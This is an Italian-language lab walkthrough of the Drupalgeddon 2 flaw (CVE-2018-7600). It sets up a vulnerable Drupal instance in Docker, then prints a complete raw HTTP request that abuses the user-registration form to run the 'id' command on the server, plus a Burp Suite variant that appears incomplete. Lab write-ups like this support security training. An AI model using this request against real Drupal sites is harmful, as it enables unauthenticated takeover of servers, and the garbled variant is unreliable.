
Proof-of-concept per CVE-2018-7600 (Drupalgeddon 2) con configurazione dell'ambiente di laboratorio passo-passo e walkthrough di sfruttamento usando Docker e Burp Suite.
Le versioni di Drupal precedenti alla 7.58, le versioni 8.x precedenti alla 8.3.9, le versioni 8.4.x precedenti alla 8.4.6 e le versioni 8.5.x precedenti alla 8.5.1 consentono a un attaccante remoto di eseguire codice arbitrario a causa di un problema che interessa diversi sottosistemi che utilizzano configurazioni di moduli di base o comuni, inclusa la Form API.
Riferimenti:

Per prima cosa, come mostrato nella schermata seguente, si esegue il fork del contenuto di vulhub.

Successivamente si scarica la cartella come file ZIP e la si importa.

Si estraggono i contenuti relativi a drupal (CVE-2018-7600) e li si carica nel proprio repository.

Ora configuriamo l'ambiente in Docker tramite questo repository.

Come segue, si clona il proprio repository con il comando git clone e si entra con il comando cd nella cartella in cui si trova il file docker-compose.yml.
Successivamente si avvia Docker in background con il seguente comando:
docker-compose up -d
Si può notare che l'esecuzione avviene come segue.

Andiamo all'indirizzo http://localhost:8080 per visitare la home page di Drupal.

Viene visualizzata la schermata di configurazione dell'ambiente Drupal e poi la home page di Drupal.
Per provare l'exploit, si imposta rapidamente in questo modo.

Poi viene caricato in questo modo.

Successivamente si inseriscono ulteriori impostazioni del sito (impostate su "test" per una configurazione rapida per l'exploit).



Alla fine, come mostrato di seguito, la configurazione del sito Drupal è completata.

Facendo riferimento a a2u/CVE-2018-7600, è possibile inviare la seguente richiesta a Drupal.
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
CVE-2018-7600 (Drupalgeddon2) è una vulnerabilità che tenta un attacco non autenticato manipolando i campi del modulo tramite AJAX attraverso /user/register, quindi è possibile alterare il pacchetto anche con Burp Suite.
Prima di tutto, tramite il proxy di Burp Suite, si accede alla pagina di registrazione, si inserisce un valore qualsiasi e si cattura il pacchetto.

Si modifica il pacchetto utilizzando Burp Suite.

Si invia il pacchetto al Repeater e si aggiunge il seguente codice in fondo:
element_parents = timezone/timezone/#value
ajax_form = 1
_wrapper_format = drupal_ajax
timezone[timezone] = id
Dopo aver inviato con Send, si può vedere che appare il comando OK.

In realtà, per effettuare una richiesta più dannosa, l'attacco CVE-2018-7600 (Drupalgeddon2) è più efficace se inviato subito dopo l'installazione di Drupal (prima che il wizard di installazione di Drupal sia terminato).